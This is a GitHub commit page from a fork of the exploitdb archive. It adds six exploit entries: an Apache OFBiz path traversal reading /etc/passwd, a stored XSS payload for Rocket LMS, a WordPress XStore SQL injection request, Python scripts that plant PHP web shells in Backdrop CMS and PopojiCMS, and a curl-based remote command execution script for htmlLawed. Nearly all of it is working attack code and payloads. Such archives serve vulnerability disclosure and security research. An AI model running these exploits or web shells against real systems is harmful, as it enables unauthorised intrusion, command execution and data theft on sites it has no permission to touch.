forked from offensive-security/exploitdb
-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge remote-tracking branch 'upstream/main'
- Loading branch information
Showing
7 changed files
with
286 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,43 @@ | ||
| # Exploit Title: Apache OFBiz 18.12.12 - Directory Traversal | ||
| # Google Dork: N/A | ||
| # Date: 2024-05-16 | ||
| # Exploit Author: [Abdualhadi khalifa (https://twitter.com/absholi_ly) | ||
| # Vendor Homepage: https://ofbiz.apache.org/ | ||
| ## Software Link: https://ofbiz.apache.org/download.html | ||
| # Version: below <=18.12.12 | ||
| # Tested on: Windows10 | ||
|
|
||
|
|
||
| Poc. | ||
| 1- | ||
| POST /webtools/control/xmlrpc HTTP/1.1 | ||
| Host: vulnerable-host.com | ||
| Content-Type: text/xml | ||
|
|
||
| <?xml version="1.0"?> | ||
| <methodCall> | ||
| <methodName>example.createBlogPost</methodName> | ||
| <params> | ||
| <param> | ||
| <value><string>../../../../../../etc/passwd</string></value> | ||
| </param> | ||
| </params> | ||
| </methodCall> | ||
|
|
||
| OR | ||
|
|
||
| 2- | ||
| POST /webtools/control/xmlrpc HTTP/1.1 | ||
| Host: vulnerable-host.com | ||
| Content-Type: text/xml | ||
|
|
||
| <?xml version="1.0"?> | ||
| <methodCall> | ||
| <methodName>performCommand</methodName> | ||
| <params> | ||
| <param> | ||
|
|
||
| <value><string>../../../../../../windows/system32/cmd.exe?/c+dir+c:\</string></value> | ||
| </param> | ||
| </params> | ||
| </methodCall> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,18 @@ | ||
| # Title: Rocket LMS 1.9 - Persistent Cross Site Scripting (XSS) | ||
| # Date: 04/16/2024 | ||
| # Exploit Author: Sergio Medeiros | ||
| # Vendor Homepage: https://codecanyon.net/item/rocket-lms-learning-management-academy-script/33120735 | ||
| # Software Link: https://lms.rocket-soft.org | ||
| # Version: 1.9 | ||
| # Tested on Firefox and Chrome Browsers | ||
| # Patched Version: Patch Pending | ||
| # Category: Web Application | ||
| # CVE: CVE-2024-34241 | ||
| # Exploit link: https://grumpz.net/cve-2024-34241-a-step-by-step-discovery-guide | ||
| # PoC: | ||
|
|
||
| In order to exploit this systemic stored XSS vulnerability, identify theareas in the web application which has a WYSIWIG editor used, for example, the create/edit course description section. | ||
| Input random text in the description section, and create the course while intercepting the request with BurpSuite or your preferred proxy of choice. | ||
|
|
||
| In the *description* parameter or the associated parameter that is handling the user input related to the WYSIWIG editor, input the following payload and then issue the request: | ||
| <details/open/ontoggle=prompt(origin)> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,21 @@ | ||
| # Exploit Title: Wordpress Theme XStore 9.3.8 - SQLi | ||
| # Google Dork: N/A | ||
| # Date: 2024-05-16 | ||
| # Exploit Author: [Abdualhadi khalifa (https://twitter.com/absholi_ly) | ||
| # Version: 5.3.5 | ||
| # Tested on: Windows10 | ||
| # CVE: CVE-2024-33559 | ||
|
|
||
|
|
||
| Poc | ||
| <https://github.com/absholi7ly/WordPress-XStore-theme-SQL-Injection#poc> | ||
|
|
||
| POST /?s=%27%3B+SELECT+*+FROM+wp_posts%3B+-- HTTP/1.1 | ||
| Host: example.com | ||
| User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) | ||
| AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 | ||
| Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 | ||
| Accept-Encoding: gzip, deflate | ||
| Accept-Language: en-US,en;q=0.9 | ||
| Connection: keep-alive | ||
| Upgrade-Insecure-Requests: 1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,97 @@ | ||
| # Exploit Title: Backdrop CMS 1.27.1 - Remote Command Execution (RCE) | ||
| # Date: 04/27/2024 | ||
| # Exploit Author: Ahmet Ümit BAYRAM | ||
| # Vendor Homepage: https://backdropcms.org/ | ||
| # Software Link: https://github.com/backdrop/backdrop/releases/download/1.27.1/backdrop.zip | ||
| # Version: latest | ||
| # Tested on: MacOS | ||
|
|
||
| import os | ||
| import time | ||
| import zipfile | ||
|
|
||
|
|
||
|
|
||
| def create_files(): | ||
| info_content = """ | ||
| type = module | ||
| name = Block | ||
| description = Controls the visual building blocks a page is constructed | ||
| with. Blocks are boxes of content rendered into an area, or region, of a | ||
| web page. | ||
| package = Layouts | ||
| tags[] = Blocks | ||
| tags[] = Site Architecture | ||
| version = BACKDROP_VERSION | ||
| backdrop = 1.x | ||
| configure = admin/structure/block | ||
| ; Added by Backdrop CMS packaging script on 2024-03-07 | ||
| project = backdrop | ||
| version = 1.27.1 | ||
| timestamp = 1709862662 | ||
| """ | ||
| shell_info_path = "shell/shell.info" | ||
| os.makedirs(os.path.dirname(shell_info_path), exist_ok=True) # Klasörü | ||
| oluşturur | ||
| with open(shell_info_path, "w") as file: | ||
| file.write(info_content) | ||
|
|
||
| shell_content = """ | ||
| <html> | ||
| <body> | ||
| <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> | ||
| <input type="TEXT" name="cmd" autofocus id="cmd" size="80"> | ||
| <input type="SUBMIT" value="Execute"> | ||
| </form> | ||
| <pre> | ||
| <?php | ||
| if(isset($_GET['cmd'])) | ||
| { | ||
| system($_GET['cmd']); | ||
| } | ||
| ?> | ||
| </pre> | ||
| </body> | ||
| </html> | ||
| """ | ||
| shell_php_path = "shell/shell.php" | ||
| with open(shell_php_path, "w") as file: | ||
| file.write(shell_content) | ||
|
|
||
| return shell_info_path, shell_php_path | ||
|
|
||
| def create_zip(info_path, php_path): | ||
| zip_filename = "shell.zip" | ||
| with zipfile.ZipFile(zip_filename, 'w') as zipf: | ||
| # Dosyaları shell klasörü altında sakla | ||
| zipf.write(info_path, arcname='shell/shell.info') | ||
| zipf.write(php_path, arcname='shell/shell.php') | ||
| return zip_filename | ||
|
|
||
| def main(url): | ||
| print("Backdrop CMS 1.27.1 - Remote Command Execution Exploit") | ||
| time.sleep(3) | ||
|
|
||
| print("Evil module generating...") | ||
| time.sleep(2) | ||
|
|
||
| info_path, php_path = create_files() | ||
| zip_filename = create_zip(info_path, php_path) | ||
|
|
||
| print("Evil module generated!", zip_filename) | ||
| time.sleep(2) | ||
|
|
||
| print("Go to " + url + "/admin/modules/install and upload the " + | ||
| zip_filename + " for Manual Installation.") | ||
| time.sleep(2) | ||
|
|
||
| print("Your shell address:", url + "/modules/shell/shell.php") | ||
|
|
||
| if __name__ == "__main__": | ||
| import sys | ||
| if len(sys.argv) < 2: | ||
| print("Usage: python script.py [url]") | ||
| else: | ||
| main(sys.argv[1]) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,66 @@ | ||
| # Exploit Title: PopojiCMS 2.0.1 - Remote Command Execution | ||
| # Date: 14/04/2024 | ||
| # Exploit Author: Ahmet Ümit BAYRAM | ||
| # Vendor Homepage: https://www.popojicms.org/ | ||
| # Software Link: | ||
| https://github.com/PopojiCMS/PopojiCMS/archive/refs/tags/v2.0.1.zip | ||
| # Version: Version : 2.0.1 | ||
| # Tested on: https://www.softaculous.com/apps/cms/PopojiCMS | ||
|
|
||
| import requests | ||
| import time | ||
| import sys | ||
|
|
||
| def exploit(url, username, password): | ||
|
|
||
| login_url = f"{url}/po-admin/route.php?mod=login&act=proclogin" | ||
| login_data = {"username": username, "password": password} | ||
| headers = {"Content-Type": "application/x-www-form-urlencoded", "Referer": f | ||
| "{url}/po-admin/index.php"} | ||
| session = requests.Session() | ||
| login_response = session.post(login_url, data=login_data, headers=headers) | ||
| if "Administrator PopojiCMS" in login_response.text: | ||
| print("Login Successful!") | ||
| time.sleep(1) # 1 saniye bekle | ||
| else: | ||
| print("Login Failed!") | ||
| return | ||
|
|
||
| edit_url = f"{url}/po-admin/route.php?mod=setting&act=metasocial" | ||
| edit_data = {"meta_content": """<html> | ||
| <body> | ||
| <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> | ||
| <input type="TEXT" name="cmd" autofocus id="cmd" size="80"> | ||
| <input type="SUBMIT" value="Execute"> | ||
| </form> | ||
| <pre> | ||
| <?php | ||
| if(isset($_GET['cmd'])) | ||
| { | ||
| system($_GET['cmd']); | ||
| } | ||
| ?> | ||
| </pre> | ||
| </body> | ||
| </html>"""} | ||
| edit_response = session.post(edit_url, data=edit_data, headers=headers) | ||
| if "cmd" in edit_response.text: | ||
| print("Your shell is ready:", url) | ||
| time.sleep(1) | ||
| else: | ||
| print("Exploit Failed!") | ||
| return | ||
|
|
||
| if __name__ == "__main__": | ||
| if len(sys.argv) != 4: | ||
| print("Kullanım: python exploit.py sitename username password") | ||
| sys.exit(1) | ||
|
|
||
| url = sys.argv[1] | ||
| username = sys.argv[2] | ||
| password = sys.argv[3] | ||
| print("Exploiting...") | ||
| time.sleep(1) | ||
| print("Logging in...") | ||
| time.sleep(1) | ||
| exploit(url, username, password) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,35 @@ | ||
| # Exploit Title: htmlLawed 1.2.5 - Remote Code Execution (RCE) | ||
| # Date: 2024-04-24 | ||
| # Exploit Author: Miguel Redondo (aka d4t4s3c) | ||
| # Vendor Homepage: https://www.bioinformatics.org/phplabware/internal_utilities/htmLawed | ||
| # Software Link: https://github.com/kesar/HTMLawed | ||
| # Version: <= 1.2.5 | ||
| # Tested on: Linux | ||
| # CVE: CVE-2022-35914 | ||
|
|
||
| banner(){ | ||
| echo " ______ _______ ____ ___ ____ ____ _________ ___ _ _ _" | ||
| echo " / ___\ \ / / ____| |___ \ / _ \___ \|___ \ |___ / ___|/ _ \/ | || |" | ||
| echo "| | \ \ / /| _| _____ __) | | | |__) | __) |____ |_ \___ \ (_) | | || |_" | ||
| echo "| |___ \ V / | |__|_____/ __/| |_| / __/ / __/_____|__) |__) \__, | |__ _|" | ||
| echo " \____| \_/ |_____| |_____|\___/_____|_____| |____/____/ /_/|_| |_|" | ||
| } | ||
|
|
||
| while getopts ":u:c:" arg; do | ||
| case $arg in | ||
| u) URL=$OPTARG; let parameter_counter+=1 ;; | ||
| c) CMD=$OPTARG; let parameter_counter+=1 ;; | ||
| esac | ||
| done | ||
|
|
||
|
|
||
| if [ -z "$URL" ] || [ -z "$CMD" ]; then | ||
| banner | ||
| echo -e "\n[i] Usage: ${0} -u <URL> -c <CMD>\n" | ||
| exit | ||
| else | ||
| banner | ||
| echo -e "\n[+] Command output:" | ||
| fi | ||
|
|
||
| curl -s -d "sid=foo&hhook=exec&text=${CMD}" -b "sid=foo" ${URL} | egrep '\ \[[0-9]+\] =\>'| sed -E 's/\ \[[0-9]+\] =\> (.*)<br \/>/\1/' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters